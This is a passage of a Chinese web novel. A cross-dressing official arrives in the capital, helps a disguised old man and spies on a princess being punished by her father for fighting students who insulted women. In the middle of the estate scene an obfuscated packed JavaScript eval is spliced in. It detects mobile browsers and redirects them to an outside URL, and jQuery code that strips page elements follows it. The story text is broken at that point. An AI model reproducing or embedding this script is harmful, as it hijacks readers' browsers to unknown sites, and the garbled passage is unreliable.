以往在扬州,陆明阜虽然也是三百六十五天不重样地准备吃食,但今天这几道看上去既不是扬州特色,也不是京城式样,也不知道是哪里的菜式,不过看上去挺好吃的。 陆明阜把勺子碗筷递给她,笑道:“京城的食材和扬州有所不同,也不知夫人是否吃得惯京中风味,我便用调和着两种菜系做了些新口味的小食,试试味道如何。” 被他这么一说,郑清容更要尝尝了。 扬州风味和京城风味有各自的特点,想要融合并不容易,但入口那一瞬,郑清容真的很想拍案叫绝。 两种口味互不压制,相辅相成,既不突兀也不显得混乱,是一种很新奇的味觉体验,郑清容大赞:“明阜真乃神人也。” “夫人喜欢就好。”陆明阜含笑,说的还是昨天已经说过的那句话。 想起方才洗漱时注意到郑清容重新易容成男子的模样,陆明阜又开口:“夫人今日要去刑部司?” 虽然是问句,但他说得很肯定,似乎早就知道她的决定。 郑清容颔首:“且去探一探,怎么说我也算是新官上任,头顶上的这三把火也该烧上一烧。” 离开扬州到了京城,说好听些是从佐史升成令史,但这还意味着她所有的一切都要从头开始,她在扬州的多年来的经营,到京城来后通通打成零。 这就促使她不仅要尽快适应京城这个新环境,还要尽快上手令史的职务,如此才能尽快实现她的小目标。 虽然小吏告诉她让她本月十四去报到,但是又没说不允许她十四之前去看看不是吗? 她惯会钻言语空子。 陆明阜听她那个意思就知道她打的是什么主意了:“那看来夫人今天午饭是不回来吃了,晚饭想吃什么,我做好等你。” “蟹粉狮子头和天香荷藕。”郑清容几乎想都没想就报出了两个菜名,随即想到这里不是扬州,方才陆明阜也说过两地食材有所不同,于是在后面添了一句,“要是条件不允许就随便弄两个菜就好了,你做的我都吃。” 这倒是真的,她和陆明阜自小没了爹娘,二人相依为命,是吃百家饭长大的,后来长大了些,陆明阜便主动担任了做饭一职。 不得不说,陆明阜在厨艺上确实很有天赋,简单的家常便饭都能做得色香味俱全,那些复杂的菜更是看一眼就能分毫不差地复刻出来。 是以她的口味都被他养刁了。 “能做。”陆明阜笑着应她,“注意安全,我等你回来。” [1]引用苏辙的《送王适徐州赴举》:送别江南春雨淫,北方谁是子知音。性如白玉烧犹冷,文似朱弦叩愈深。万里同舟宽老病,一杯分袂发悲吟。明年榜上看名姓,杨柳春风正似今。 5.这就是你的命 郑清容应好,顺手拿了块点心便出门去。 清晨伊始,杏花天胡同里也开始了新的一天。 此起彼伏的鸟鸣声回荡在胡同里,间或能看见一两个在枝头跳跃的身影,曦光稀稀疏疏自叶片间漏下,落在地上斑驳成影。 郑清容负手走在其间,感受着迎面微醺的风。 风里能带来很多信息,比如她能闻到阵阵的馄饨香,根据风向和气味深浅判断出有城东有一家馄饨铺子,生意还不差,不然这么早,香味也不会传这么远。 再比如,她能听到风中隐隐传来的击鼓声,虽然听起来距离很远,但是鼓点分明,很有节奏。 郑清容足尖轻点,跳上胡同里最高的一个屋顶上。 站得高了,地上的房屋和人群由近及远逐渐缩小,到最后变成一个个小点。 寻常人看得远了难免视线模糊,但郑清容自小习武,目力耳力要普通人强上不少,是以极目远眺也能看得更为清晰。 只是京中地势开阔,结构复杂,饶是她尽量找了个较高的位置,还是不能一览全貌。 不过从她这个角度看过去,正好能见到四方官员涌涌向着京城中心聚集,鼓声应和之中,巍巍皇城宫门在四个城门郎的指挥和配合下缓缓开启,由外而内,渐次而开。 官员们鱼贯而入,秩序井然。 即使没有亲临现场,也能感受到皇城的威严与肃重。 这便是文武百官上朝的场景了吧。 真是壮观! 她也想这么壮观地上朝! 刑部司主事,她势在必得。 郑清容在心里感叹一番,忽有一束不知道从哪里反射过来的光扫了过来,正好划过她的所在,转瞬即逝。 也不知是意外还是有人刻意而为,郑清容当即戒备,紧接着,便觉有人正看向她的这个方位。 朝着角度和方向寻去,发现这道视线似乎来自宫门前的其中一位城门郎。 她能见远是因为自小习武,但城门郎看上去就不像是有武功的人,何以能发现她的所在? 不过要说发现也不尽然,因为郑清容发现对方的视线只是在她这个方向逡巡了一圈,并没有落到实处。 明明两人相隔甚远,一般人很难超过这么远的距离看清事物,对方却能一眼看到她这个方向,即使没有落到实处,也足以见得其眼力之犀利。 一个城门郎都如此厉害,京城可真是卧虎藏龙。 郑清容这般想着,人已经从屋顶翻下去。 在她跃下去的那一瞬间,远处有人拍了拍魏净的肩头:“魏大人怎么了?” 宫门开启需要四位城门郎打配合,少了谁都无法开启,是以他这一顿就显得格外明显。 魏净收回视线,摇摇头说没事,继续前往下一道宫门。 只是转身之际再次看了一眼郑清容先前所在的那个方位。 方才那里有人。 他自小目力就好,能看到常人远视极限之外的东西,在这个极限之外,稍微近一些的能完全看清,再远一些的就只是个模糊影子。 就像方才,一束光被宫门守卫的剑身反射过来,他侧身闪避,却在光束所照的方向上看见了一个模糊的人影轮廓。 因为隔得远了,只能看到一个极其浅淡的人影,浅淡到就像是眼花一样,但他并不认为这是自己看错导致。 魏净若有所思,并未声张,继续向前而去。 而另一边的郑清容迈着四方步走在大街上,酒楼饭店人来人往,贩夫走卒夹杂其间,货郎挑着担子吆喝不绝,京城风貌繁华又热闹。 这样的繁华中,唯有一处显得格格不入。 有老汉佝偻着腰背,身上脏污一片,几乎都看不出是个人,身后拉着摞得高高的板车在路上行走,因为是上坡路段所以需要把身子伏到最低,从而更好发力,但饶是如此也几乎是走三步就会往后倒退两步,十分费劲。 也不知道他身上和板车上拉的是什么,一路上臭气熏天,路人捂着鼻子避之不及,也没个人帮上一把,有脾气不好的甚至开口骂人。 老汉在路人的谩骂中几乎抬不起头,只能继续使劲拉车。 正弯腰蓄力,忽然身后一轻,老汉顿时觉得身上的压力减少一大半。 老汉还奇怪呢,郑清容的声音已经在后面传来:“对不住啊,各位婶婶伯伯姐姐叔叔,劳烦让一让,小心弄到您身上。” 她这一嗓子又脆又亮,谩骂的人忘记了要骂什么,躲避的人忘了捂鼻子,都朝她这边看。 见是个十八·九岁的少年人,又是奇怪又是好奇,但终归之前谩骂和指指点点的声音总算没了。 “谢谢啊小伙子。”老汉看不见被挡住的郑清容,只能在前面喘着气喊了一句。 郑清容一边在后面推着车,一边闲聊:“大爷我看你这车上装的都是些书本史集,缘何要扔掉?” 刚才推车的时候风掀起了上面盖着的篷布一角,她正好看见了里面的东西。 除了书本就是一些笔墨纸砚,看上去都是极好的,只是上面尽数沾染了污秽之物,一个个散发着难闻的气息,很是可惜。 老汉叹了一声,尤为无奈:“国子监的学生打架,把书本笔墨全都扔茅厕里去了,打捞了大半夜才清理干净,这不让我赶紧拉去处理了。” 郑清容很是诧异。 国子监掌邦国儒学训导,能入学的大都是朝中臣子的子孙,上到二品官员的曾孙,下到八品以下及庶人之子,虽然所属国子学、太学、四门馆、律学、书学、算学各有不同,但都是一群读书人,居然也会打架? 不愧是京城,处处都让人惊喜! “这打架的方式还挺特别,人没遭罪,书本倒是遭殃了。”郑清容忍俊不禁,对这些史集来说还真是无妄之灾。 老汉噫了一声,反驳道:“噫,不光是书,人也被推进茅坑里去了,那郡主平日里看起来文文静静的,没想到厉害得很,一个人提着斧头就闯进国子监里去了,硬是把十几个学生都打进了茅厕里,其中还包括她兄长庄承志。” 郑清容再次惊愕。 原来不是学生和学生打架,而是郡主和学生、和她哥打架。 厉害啊这郡主,单挑还能大获全胜,简直吾辈楷模! “不知这位郡主是?”郑清容有些好奇了。 要是学生打架她还不觉得有什么,学生被打和哥哥被打那可就太有意思了。 都是官家子弟,只怕从小到大就没被人打过吧。 这位郡主简直是女中豪杰!她可太想认识一下了。 “郡主你都不知道?这京城能有几个郡主,除了一字并肩王庄鸿的女儿还有谁能被称作郡主?庄怀砚,京城第一才女,含章郡主。”老汉边拉车边费力地说着。 许是第一次听到有人不知道郡主是谁,老汉言语激动颇为惊奇。 一字并肩王?才女?打架? 这几个词连在一起让郑清容反应了好一会儿。 她刚来京城,确实有很多事不清楚。 一字并肩王她在扬州倒是听过,曾和先帝一起打天下,手握兵权,战功赫赫,是东瞿唯一一个王,更是唯一一个异姓王。 据说膝下有一女一子,女儿封了郡主,惊才艳艳冠绝京城,被誉为第一才女;儿子身为世子,却体弱多病不学无术,被戏称第一草包,二人虽为兄妹,但差距极大。 没想到今儿一下子就让她听到了郡主和世子两位的故事,真是有缘。 “能把京城第一才女逼得持斧闯监,想必定然是那群学生做了什么不可原谅的事。”郑清容直击要害。 “谁知道呢?”老汉摇摇头无奈一叹,又补充了一句,“这事闹得不小,但是被上面压下了,你可别跟人说,小心掉脑袋。” “省得。”郑清容应他。 事关国子监和一字并肩王,不被压下才怪。 她说怎么没听到风声,今天要不是碰上这位大爷估计她都不知道这事。 不过要说是大爷也不太对。 她注意过,先前他拉车上坡的时候虽然佝偻着身子,但实际的发力点和上了年纪的人不太一样,即使整个人外表看起来是老态龙钟的样子,脸上也有脏污覆盖看不出面容,但细枝末节处理得不到位,所以有些说不上来的违和感。 不过有着这一车臭气熏天的书本笔墨打掩护,一路上的人都不愿意多看两眼,是以似乎也没人发现这点儿微不足道的不对劲。 谁闲来无事扮老做这种事? 郑清容心里发出这样的疑问。 但是想到自己都在扮男装,似乎别人扮老装也没什么不能接受的了。 就是不知道扮老是为了什么。 这世间从来没有什么无缘无故的事,就像她扮男装是为了谋权,这人扮老是不是也是为了谋求别的什么? 想了想,郑清容又道:“大爷,我看这些笔和砚台都还挺新的,您要是不嫌脏回头可以给洗洗,装饰一下,重新卖给那些国子监的学生,经过这么一番闹腾,国子监少不了要重新添置这些东西,这一天天的不好好读书,尽知道打架闹事了,享受着良好的资源却不知道珍惜,从他们手里薅些钱也是应该的。” 即使知道对方的真实年龄还用不上大爷这个称呼,但对方有意遮掩,郑清容只当不知道这回事,表面该是什么就是什么,丝毫看不出一点儿异样。 老汉被她这话逗得哈哈直笑。 这话听听就得了,自然是不能当真的。 “哪能啊,国子监的东西就算不要了也会做记号处理掉,怎么还可能给人重新捞一笔的机会?” 他这一句倒是让郑清容肯定了心中的几分猜疑, 知道国子监这些微末小事的,绝对不是普通人。 “小伙子不是京城人?听你的口音倒像是淮南一道的。”许是有了帮忙推车的情分在,老汉也跟她闲聊起来。 郑清容应他:“大爷好耳力,我是淮南道扬州人,刚来京城,还不太清楚京城这些事,让大爷见笑了。” 她其实平日里说话没什么口音,只不过是方才说起国子监那帮被庄怀砚打进茅厕的学生,心里高兴便一时带上了扬州调笑的语气。 听她这么解释,老汉道了一声难怪。 他还说京城怎么会有人不知道郡主是谁,这样就说得通了。 “扬州啊,那可是个好地方。”老汉嘴里嘟囔着,也不知想起了什么,忽然嘿了一声,“你们扬州的那位郑大人也要来京城了吧。” 郑清容笑问:“大爷您也知道这事?” “这话说得,扬州百姓十里相送,别说京城了,只怕现在整个东瞿都知道这位扬州的郑大人了。”说到最后,老汉喃喃一句,“虽然没见过这位郑大人,但能让百姓如此相待想必是极好的,就是刑部司那边……” 郑清容注意到他口中无意间流露出的刑部司字眼:“什么?” 先前知道国子监那些事也就罢了,现在还提起刑部司,只能说明眼前这人不简单呐。 她问得快,但对方显然不想继续这个话题,干笑两声揭了过去:“没什么,老了就喜欢瞎叨叨。” 两个人一个拉一个推,闲聊之际板车很快便驶过陡坡。 郑清容一路帮着老汉把车推到目的地,两个人就像是相识许久的老友一样,相谈甚欢。 聊着聊着,老汉突然想起来问:“小伙子你叫什么?今日要不是你帮忙,小老头我还不知道怎么办才好。” 为了维持生计,他平常会做一些活来赚碎银子过活,尤其是脏活累活没人愿意干的活。 事出突然,国子监的人要求尽快处理掉这一板车的东西,没人愿意做这些和茅厕搭边的活,所以他来了。 他昨晚就开始忙活了,一直到今早才打捞干净,本想着趁着天没亮的时候避开人群把东西拖走。 但体力跟不上,拖着一板车的东西实在累极,这才耽误了时间。 今日要不是遇上郑清容帮忙,估计他都没办法把车拉走。 “小事,大爷不必客气。”郑清容看了看略显凄清破小的门庭,问道,“家中就您一个人?” 老汉摇摇头,似乎很是伤痛:“唉,说来话长。” 竟然有意无意避开了这个话题。 郑清容点点头,也不刨根究底,寒暄几句便离开了。 老汉似乎累极,等到想起来让她进门喝口水的时候才惊觉人已经走了许久。 擦了擦额头的汗,老汉摇摇头一笑。 竟是个做好事不留名的。 这厢 郑清容帮老汉推完车后便跟着两个丫鬟来到了王府。 实在是老汉说的庄怀砚单方面对挑国子监学生和自家兄长的事太让人好奇,她从来不信什么无缘无故的事,于是就摸过来了。 那两个丫鬟她在帮老汉推车的路上就注意到了,因为她们口中提到了王爷和郡主这样的字眼。 京城里的王爷就那么一位,应该说整个东瞿的王爷只有那么一位,是以郑清容直接确定了那两个丫鬟是一字并肩王府上的人。 告别老汉后她就有目的地找到了她们,一路跟在后面,果然跟到了王府。 王府守卫森严,怕打草惊蛇,她没有选择靠近王府,而是三两下避开耳目跳上了隔壁的一棵参天树。 这棵树虽然不在王府之内,但其树干高大,枝叶繁密,站上去不仅能很好遮掩身形,还能看到王府的一角。 郑清容偏头瞧着,正好看见一个女子跪在廊下铺了鹅卵石的地上。 鹅卵石最为坚硬硌人,尤其是对膝盖这种皮肤薄骨头脆的地方,但女子却跪得笔直,背脊不弯不折,动作不动不倒,像是一尊屹立不倒的石像,任风吹雨打,坚韧不屈。 府中的下人路过都不敢看,纷纷低头避走。 忽然,女子面前的门扉从里面打开,一个四五十来岁的青年男人负手走了出来,通身都是杀伐之气的肃穆,不怒自威。 府里伺候的下人们见了纷纷向他行礼,态度十分恭敬。 庄鸿屏退一干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056682|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟小厮,走到廊下,看着跪得笔直的庄怀砚。 “跪了一夜,你可知错?” 膝盖因为长久跪立已经麻木,庄怀砚恍若未觉,头颅高仰,眼里满是倔强:“我没错,是他们出言不逊在先,以往父亲总要我忍,可若是辱我一个也就罢了,但他们说的是所有女子,同样是人,为何男子占尽了所有便宜,还要反过来指点我们女子无用,把我们贬到尘埃里,凭什么?” 庄鸿指了指庄怀砚,神色不悲不喜,言简意赅:“就凭你不是男儿。” 一夜的罚跪没让庄怀砚喊疼掉泪,但现在,父亲的一句不是男儿彻底让庄怀砚红了眼。 出身将门,她自小便有上阵杀敌保家卫国的志向。 但是因为自己不是男儿身,父亲从不让她舞刀弄枪,只让她学习琴棋书画,女工中馈这等后宅妇人讨好夫家的技艺。 父亲说,女子学习这些就够了,带兵打仗是男人的事。 可她偏不,偷偷地学习父亲不让他学的兵法武功,有一次拈花作剑在自己院子里练武不小心叫父亲发现了,她挨了好一顿打,勒令她不许碰这些。 那时的父亲用了家法,已经动了真怒:“女子懂得怎么相夫教子就好,这些都是你兄长该学的,守好你的本分,不可僭越。” 她当时也气愤,反问父亲:“兄长体弱,如何能习得这些?” 父亲回答得也很干脆:“别说你兄长体弱,就算你兄长是个废物,是个草包,那也是个不折不扣的男儿,将来整个王府都是他的,不会落到你一个女子手上,你就算再怎么不甘心,这也是命。” 是啊,这就是命,同样是家里的孩子,但权力从来不会落到女儿的手上,这就是命。 可她偏偏不信命,她要用实际行动告诉父亲,男子能做到的,女子也能做到,而且能做得更好更漂亮。 她一次又一次地偷学,一次又一次地被打。 父亲为了让她长记性,下手一次比一次重,她十天半个月下不来床是常有的事,有一次甚至差点儿被活活打死。 濒死的感觉太过刻骨铭心,也很壮人胆,以至于她明知父亲在气头上还要出言激怒。 “你最好直接打死我,你今日要是打不死我,我日后就还要学,天天学,兄长学的,你不教我的,我都要一件不差地学懂学成,只要我没死,我就要学。” 按理说这话已经触碰到父亲的逆鳞了,但父亲听到这话后除了有一瞬气得颤抖之后,当真没有再打她。 甚至后面她明目张胆学习那些武功兵法什么的,父亲都没再管过。 只再三叮嘱她别在外人面前展露那些本领,做好一个读书写字的女子就是,就算有人言语不当,也要忍让,万万不可动手。 是以世人只知她这个郡主舞文弄墨很有一手,有才女之名。 却不知相比于舞文弄墨,她更擅长于舞刀弄枪。 从那以后,她一直扮演着乖女儿的角色,从不将自己用命学来的东西暴露给任何人。 有人骂他兄长是个手不能提肩不能扛的草包废物,骂她父亲杀戮太重克死发妻,是个活阎罗她也都一一忍着。 唯独昨日,国子监那群学生喝醉了酒,话里话外不是贬低女子就是侮辱女子,言语之恶劣,她一时气不过,便抄起斧头杀到了国子监去,让那群学生吃个教训。 她把人踹到了茅坑里,连同他们的书本笔墨都丢进去了。 读的劳什子圣贤书,到头来除了对女子品头论足以抬高自己身价还会做什么,简直愧为圣人子弟。 她是让那些学生吃教训了,但回来后,也被父亲罚跪了一夜,让她好好反省。 父亲一直不让她显露那些女子不该有的本事,可她昨天却在国子监露了身手,她犯了父亲的大忌。 但这次父亲没有像以前一样先把她打一顿,而是将她晾在外边,叹一句:“怀砚,你太让为父失望了。” 母亲在生她和兄长的时候血崩而亡,她和兄长都是父亲一手抚养长大的。 这些年就算她再怎么违逆他,父亲都从来没有露出那样的神色。 她想了一夜,不知道自己错在哪里。 哪怕现在父亲亲自问责,她也不明白,自己到底哪里错了。 见她不说话,庄鸿再次开口:“怀砚,为父以为你会懂得为父给你取的这个名字。” 庄怀砚梗着脖子反驳:“我不喜欢这个名字,为什么我就只能怀砚,兄长就是承志?同样是父亲的孩子,为什么我不行?” “为父说了,因为你是女子,要怪就怪你没投个好胎,不是男儿身。”庄鸿的手微抬,虚抚着她的发顶,“为父之所以没有再阻止你学那些,就是想让你彻底死心,让你知道就算你再优秀,再比男子做得好,也不可能代替男儿,更不可能成为男儿,怀砚,事到如今,你还不明白?” “是女子又如何?男子不过是被你们赋予了继承的地位,其本身并不比女子多聪明,昔日宰……” 树上的郑清容还在等后面这句,冷不防一声脆亮的巴掌声响起,后面的话便都戛然而止。 庄怀砚被打得偏过头去,青丝散乱,脸上手指印斐然。 庄鸿皱着眉头,怒火中烧:“当真是越发放肆了,你若不想成为下一个她,就老老实实地做好你的京城第一才女,待字闺中成亲嫁人才是你要考虑的事,为父已经给你看好了夫家,岭南道韶州王家的三公子,这几日你便在府中好好待着,此事风波一过你便嫁过去,为父是管不了你了,让你的丈夫好好管一管你。” “我不嫁,除非我死。”庄怀砚怒目圆瞪,因为太过气愤眼底爆出缕缕血丝。 前面再怎么愤怒也都是深深的不甘和无力,但现在听到嫁人的消息就只剩下滔天的怒意。 她可以接受打接受骂,唯独不能接受嫁人。 “不嫁?千金之躯的公主都要嫁人,你以为你是谁?”庄鸿并不把她的威胁当作一回事,“就算是死,你的棺椁抬也得抬到岭南道去,这就是你的命。” “狗屁的命,我不认,这不过是父亲你用来规训我的借口罢了,你就是见不得女子比男子要强,不光是你,整个世道都是如此,在你们眼里,女子就是可以随意取舍的物件,高兴了就赏一些不值钱的玩意哄着,一旦触碰到你们的利益就会立即舍弃。”庄怀砚愤而呛之,以至于父亲二字都不唤了。 庄鸿被她这大逆不道的话气得不行,除去在练武之事父女二人曾有过龃龉,庄怀砚一直以来都表现得很乖,不仅在家中乖顺懂事,外人眼中也很知书达理,不然世人也不会将她奉为京城第一才女。 可如今这“狗屁”二字从她口中说出来,倒是叫庄鸿都快不认识他这个女儿了。 当即扬手又要甩她一个耳光,但这一次,巴掌却没落到庄怀砚身上。 郑清容仔细瞧着,见父女二人之间不知何时出现一个男子,被打歪的半张脸侧着,因为皮肤过于病白而红肿充血,看上去触目惊心。 而没有被打的那半张脸,赫然与庄怀砚有七分相似。 6.我的路上只有两种人 半边脸被打得发麻,眼前也晃得阵阵发黑,但庄承志还是对庄鸿赔笑道:“父亲,妹妹跪了一夜心神俱疲,不是故意顶撞父亲的,父亲别生气,今日早朝估计少不了有人要借这件事针对我们王府,还得麻烦父亲费心周旋。” 庄鸿当然知道他这是在替庄怀砚解围,但他也清楚,自己儿子说得不错。 昨日这事虽然已经压下了,但庄怀砚打的都是官家子弟,那些当官的极其护短,今早不在朝上撕扯一番怕是很难善了。 他早些年随同先帝征战四方,虽然取得了赫赫战功,得以封王,但身体也落下了病根,这些年来一直在王府养伤。 当今陛下继位之后,他一直称病不朝,既是疗养也是韬光养晦,不争不抢不露风头,只做个闲散王。 但昨日发生了那样的事,他今天少不得要去一趟早朝了。 看了一眼地上还在跪着的庄怀砚,又看了一眼披头散发衣衫不整的庄承志。 昨日庄承志也在国子监的茅厕里走了一遭,因着身子骨弱,回来后受了一场风寒,大夫又是扎针又是开药的,晨早才走。 他这模样显然是趁着大夫离开时慌慌忙忙跑出来的,鞋袜都没来得及穿上。 “不成器的东西。”也不知道这句是在说谁,庄鸿骂了一句后便拂袖而去。 庄承志拱手行礼送他出去,没等庄鸿走出几步便立即扶地上的庄怀砚起来。 “膝盖肯定疼坏了吧,来,兄长背你回去。” 说着,庄承志便在庄怀砚面前伏下身来,送上自己略显单薄的背。 庄怀砚拂开他,示意他别帮倒忙:“背什么背,拉拉扯扯的,不成体统。” “什么拉拉扯扯,你是我妹妹,怎么就不成体统了?”庄承志一边说,一边替她揉着膝盖扶她起来。 跪了整整一夜,膝盖处的血液几乎都不流动了,躯体也近乎僵化,行动很是困难。 庄怀砚打着踉跄起身,好几次差点儿没重新摔下去磕到地上。 “别说是跪了一夜,我就算是腿断了也能自己爬回去。” 庄承志一边扶着她往回走,一边毫不犹豫地应和:“那是,我妹妹最厉害。” 郑清容看着两个人搀扶着一瘸一拐走过转角,身影彻底消失在视线之内。 心道不愧是孪生兄妹,容貌甚是相似,可是这近乎相同的一张脸竟然能同时适配女子和男儿,做男儿时不见娇气阴柔,做女子时又不会显得粗犷蛮横,各有英气和内敛,简直妙极。 不过郑清容又觉得事情有哪里不太对。 先前老汉说庄怀砚可是把她兄长也打进茅厕里去的,但是刚才看起来两兄妹相处起来也不像是有仇的样子,两个人之间的氛围还挺友好的。 也不知道是庄承志心大,还是庄怀砚教她兄长做人。 或者阴谋一点儿想,有没有一种可能,老汉那句所谓的把她哥哥也一同打进茅厕里去了其实只是兄妹二人之间提前算计好的?不过是做戏给外人看? 想不通这里面的弯弯绕绕,郑清容也就没去深想,左右她现在的关注点也不是这个。 庄怀砚会武,而且武功还不低,这点从她方才走路的姿势就可以看出来。 平常人看不出来,但是她从小和武学打交道,一眼就看出来庄怀砚用的是最为省力的蝉学步,能够极大程度上减少对膝盖的伤害,不过蝉学步失传已久,她也没想到能在这里见到。 相比之下,旁边的庄承志就是完全没有武功底子的人,甚至因为羸弱,步子略微虚浮,少了几分常人的沉稳。 京城第一才女身怀武功。 京城第一草包处事圆滑。 这京城,果然处处是惊喜,人人都厉害。 当然,除了这两处,郑清容还注意到了庄怀砚没说完的那句话,以及庄鸿口中的那个若有所指的字眼。 是女是男她尚且不知,但心中隐隐有个猜想,并且直觉告诉她方向没错。 郑清容看向庄怀砚离去的地方,想起方才庄怀砚和庄鸿先前的对话,不免又是一阵心寒,一字并肩王庄鸿竟然也这般古板迂腐。 说教不成就想着把自己女儿嫁出去,岭南一道尤为偏远,虽是东瞿国土,但当地民风彪悍,有些州府甚至还未完全开化,多作为流放之地。 庄鸿倒好,一句话就把女儿给送去了。 庄怀砚说得没错,这世道从来没有把女子当人看。 正本清容一事,任重道远。 郑清容叹了一句,不动声色离开。 在她离开之后,庄承志把庄怀砚送回了她的院子。 他身上就带有专门向大夫讨要的治膝盖久跪的膏药,也不管自己披头散发衣衫不整,当即给庄怀砚敷上。 “鞋子衣服都来不及穿,伤药你倒是记着。”庄怀砚嘴上嫌弃,手里却是已经把蚕丝软被拽过来给他半踩半披着。 她这里没有他穿的鞋子和衣物,丫鬟回去取也需要时间,也就只能先用被子将就一下了。 身子骨本来就弱,还不好好看顾自己,只会让人操心,庄怀砚心里腹诽,给他整理被子垫脚的时候不忘剜了他一眼。 庄承志浑然不觉,也不管什么男女大防,小心翼翼地给她敷上药膏,怕她疼还会轻轻吹一吹:“我的事算什么,妹妹就是兄长的第一等大事。” “明知道自己身体不好,昨日还敢往茅厕里跳,你是真不要命。”庄怀砚面无表情,似乎感受不到膝盖上的疼痛,言语虽是指责之意,但语气却是关心的。 她昨日是把那一群国子监的学生给打进了茅厕里,但并未动她这个体弱多病的兄长。 兄长掉进去都是他自己主动跳的。 “我跳了他们就没理由再找妹妹的麻烦了。”庄承志得意一笑,并不觉得跳茅厕有什么上不来台面的,“妹妹放心,我掉下去的时候拉苗家的那位小公爷垫了一把,脏污疼痛都是他受着的,我没什么事,再说了,昨日就算妹妹不出手,我也会把他们都踹进茅厕里去的,话说得忒难听,该打,妹妹下手轻了,改日我再补上两脚。” 此刻若是郑清容在场,定要赞一句不愧是兄妹,打架方式都如出一辙。 庄怀砚没再接话,视线落到他左脸上的掌印。 父亲那一耳光用了十足的力道,掌印已经由先前的红肿转为了青紫,她挨上这么一掌估计都有些吃不消,也不知道他是怎么做到被打后还笑得出来的,哪怕现在和她说话都是带着笑意轻松恣意的,完全看不出方才被打了一耳光。 庄承志给她敷完了药,抬头撞上她的目光,咦了一声:“我怎么觉得妹妹脸上的伤比我的重一些,这样,你给兄长补上一巴掌,这样我们就一样了。” 说着,他当真抓起庄怀砚的手往自己脸上凑,想要补上一耳光。 “幼稚。”庄怀砚抽回自己的手。 她当然知道他是在逗她开心,他都没用镜子看过自己脸上的情况,就算是以瞳为镜也看不分明,怎么可能知道深浅。 不过是在用他的方式让她笑一笑罢了。 只是现在她笑不出来。 庄承志给她把散落的青丝别到耳后,笑道:“妹妹不生气了好不好,父亲的话你左耳朵进,右耳朵出,别放在心上,父亲给不了妹妹的,兄长给,现在妹妹可以向兄长许愿,不管什么兄长都给你实现。” 明知道他是在把自己当三岁小孩哄,但庄怀砚沉默半晌还是开了口:“我不要多的,我只要男儿拥有的平等权力。” “嗯,从今往后,兄长的就是妹妹的,妹妹的还是妹妹的。”庄承志接得也快,几乎是不打腹稿就说了出来,态度也很是诚恳,半点不像是作假。 “我不要嫁人,不要成为男人的附属品,不要在后宅里蹉跎一生。”庄怀砚一连说了三个不要。 庄承志一一应下:“那便不嫁,妹妹不想的事就不做,这世上没有人能配得上妹妹。” 许是开了话茬,庄怀砚想了想,话锋一转又道:“我不想做妹妹,我要当老大。” 都是同一个肚子里出来的,她不过是晚了他一些时辰,便成了妹妹,这理她找谁说去。 庄承志顿了顿,似乎是没想到庄怀砚会突然提出这样的“愿望”。 没忍住笑了笑,随后对上她的视线,真诚地唤了一声:“姐姐。” 喊的时候眼睛还亮闪闪的,似乎并不觉得这有什么。 庄怀砚只是开个玩笑,没想到他真喊,一时笑也不是,气也不是:“庄承志,你是越发没脸没皮了,你这个兄长是怎么当的?” 庄承志宠溺地揉了揉她的头:“其实不光是妹妹不喜欢这个名字,我也不喜欢这个名字。” 名字寄寓太好往往会成为诅咒,就像他一样。 想到这里,庄承志笑笑:“以后我就不叫这个了,我看那群同窗给我取的‘弱虚’二字念来就不错,就是意思不太好,我呢就改个字,叫‘若虚’,虚怀若谷的‘若虚’,往后我就叫庄若虚,不叫庄承志了好不好?” 庄怀砚没想到先前和父亲对呛的那些话被他听了去,还让他记到了心里,现在用最为温柔有效的方法告诉她,他不叫承志了。 “弱虚”二字原是那些纨绔子给她兄长取的诨号,平日里都不叫兄长的名或字,而是“弱虚世子弱虚世子”的喊,借以调侃他身子差不成事。 没想到他还挺乐意接受。 “兄长,你不必这样的……”庄怀砚低下头,骄傲如她,先前被庄鸿罚跪被掌掴她都没有把头颅垂下,但现在因为兄长的一席话便把自己的傲气都尽数收敛干净。 庄承志,不,现在是庄若虚了,庄若虚刮了一下她的鼻尖,笑道:“妹妹不必感到内疚、不安或者别的什么,除了母亲,这个世上就只有妹妹与我最亲了,兄长无能,无法护你安然,唯一能做的就是让你开心,这是兄长心甘情愿的,也是兄长毕生要守护的。” “好端端地说这些,也不嫌肉麻。”庄怀砚斜了他一眼,破坏气氛道,“就你那弱不禁风的身子骨还想守护我,别给我添乱就不错了。” 庄若虚嗯了一声,并不反驳她的话,而是顺着说下去:“所以我很幸运啊,有那么一个厉害的妹妹,妹妹厉害就是我厉害,以后我在整个京城、乃至整个东瞿都横着走。” “这种话也就只有你好意思说出口。” “有什么不好意思的,别人想说这句话还没资格说呢,他们又没有我这般厉害的妹妹。” 兄妹二人你一句我一句地说着,见庄怀砚脸色好了不少,庄若虚也就把自己的打算说了出来。 “我看父亲这次是铁了心要把妹妹送到岭南去,妹妹不若就此离开吧,去哪里都行,我会打理好一切,妹妹是有大才之人,京城虽好,但到底也是一种束缚,广阔天地才是妹妹的归宿。” 他会帮她,哪怕倾尽所有。 庄怀砚知道他的意思,看了看皇宫的方向,幽幽一叹。 离开是要离开的,但不是现在,也不是她一个人。 · 皇宫 大太监孟平架着拂尘入殿,笑意一直蔓延至眼角:“陛下,安平公主来了。” 彼时的宫女正在为姜立穿戴朝服,忙而不乱井井有条。 姜立摆摆手:“让她进来。” 孟平应是,躬身退出去,不一会儿,一娉婷女子便款款行至殿来。 珠钗步摇轻晃,绫罗裙衫低舞,袅袅婀娜,恰如一只翩跹飞燕。 “儿臣给父皇请安。”姜致行礼道。 姜立抬手示意她起身:“丹雪来了,左右也无事,怎么不多睡会儿?” 东瞿安平公主,姓姜名致,乳名丹雪。 皇帝膝下无子,就这么一位公主,很是宠爱。 “父皇每日卯时上朝,日理万机,儿臣虽然不懂朝政,可也不能躲懒不是,都说这一日之计在于晨,儿臣就算不事农耕,早起读书也是百利无一害。”姜致很自然地接过宫女手中的玉梳,给姜立一点点梳盘着头发。 